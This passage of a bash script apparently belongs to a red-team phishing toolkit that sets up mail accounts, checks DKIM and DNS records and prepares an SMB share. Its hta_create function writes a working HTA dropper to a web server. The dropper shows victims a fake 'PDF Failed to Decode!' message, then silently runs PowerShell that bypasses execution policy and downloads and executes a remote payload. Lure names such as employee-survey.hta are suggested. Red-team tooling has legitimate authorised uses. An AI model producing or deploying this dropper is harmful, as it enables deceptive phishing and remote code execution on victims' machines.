read -p '[ ] What account will emails come from? ' -r accountname
accountpassword=$(openssl rand -hex 10 | base64)
credentials="[ + ] ${accountname} password is: ${accountpassword}"
topline="###########################################################################"
bottomline=$topline
echo $'\n';echo $topline
echo $credentials
echo $bottomline;echo $'\n'
adduser ${accountname} --quiet --force-badname --disabled-password --shell /usr/sbin/nologin --gecos "" > /dev/null 2>&1
echo "${accountname}:${accountpassword}" | chpasswd > /dev/null 2>&1
mkdir -p /home/${accountname}/mail
chown -R ${accountname}:${accountname} /home/${accountname}/
printf 'y\n' | ufw enable > /dev/null 2>&1
}
function check_dkim() {
read -p '[ ] What domain will emails come from? ' -r domain
echo -e "\n[ / ] Checking DKIM Record propagation "
sleep 1
dnsDKIM=$(dig +short -t TXT mail._domainkey.${domain} | tr -d "\"" | tr -d " ")
localDKIM=""
if [ -f /etc/opendkim/keys/${domain}/mail.txt ]; then
localDKIM=$(cat /etc/opendkim/keys/${domain}/mail.txt | tr -d "\n" | tr -d "\t" | cut -f 2 -d "(" | cut -f 1 -d ")" |tr -d " " | tr -d "\"")
else
echo "[ - ] WARNING: Can not find local DKIM record for that domain"
fi
echo -e "\nLocal DKIM Key: $localDKIM"
echo -e "DNS DKIM Key: $dnsDKIM \n"
if [ "$localDKIM" = "$dnsDKIM" ]; then
echo -e "[ + ] DKIM propagation was successful!\n"
else
echo -e "[ - ] WARNING: DKIM record from DNS lookup DOES NOT match server's DKIM key.\n"
fi
}
function check_arecord() {
read -p 'Enter your A Record domain name: ' -r domain
echo " "
echo "[ / ] Checking A Record population "
sleep 1
count=1
while [ $count -gt 0 ]
do
if [[ $(nslookup ${domain}) != *find* ]]
then count=0
echo "[ + ] A record populated"
echo " "
else echo -n "."
sleep 10
(( count++ ))
fi
done
printf 'y\n' | ufw enable > /dev/null 2>&1
}
function hta_create() {
read -p 'Enter the client name: ' -r ClientName
read -p 'Full URL to payload file: (ie: http:https://1.2.3.4:80/file) ' -r ServedFile
read -p 'Enter name for HTA file: (e.g. employee-survey.hta) ' -r NameHTA
cd /var/www/html
cat <<-EOF > /var/www/html/${NameHTA}
<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell.exe -exec bypass -w hidden -command \$wc = New-Object System.Net.Webclient; \$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); \$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; \$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (\$wc.downloadstring('${ServedFile}'))", 0, true
End Function
Function TestBox()
Msgbox "${ClientName} (PDF Failed to Decode!)"
End Function
TestBox
var_func
self.close
</script>
EOF
printf 'y\n' | ufw enable > /dev/null 2>&1
}
function smb_share() {
service smbd stop
read -p '[ ] What account will host share? ' -r accountname
read -p '[ ] Enter a password: ' -r accountpassword
credentials="[ + ] ${accountname} password is: ${accountpassword}"
share_path="/home/${accountname}/share"
topline="###########################################################################"
bottomline=$topline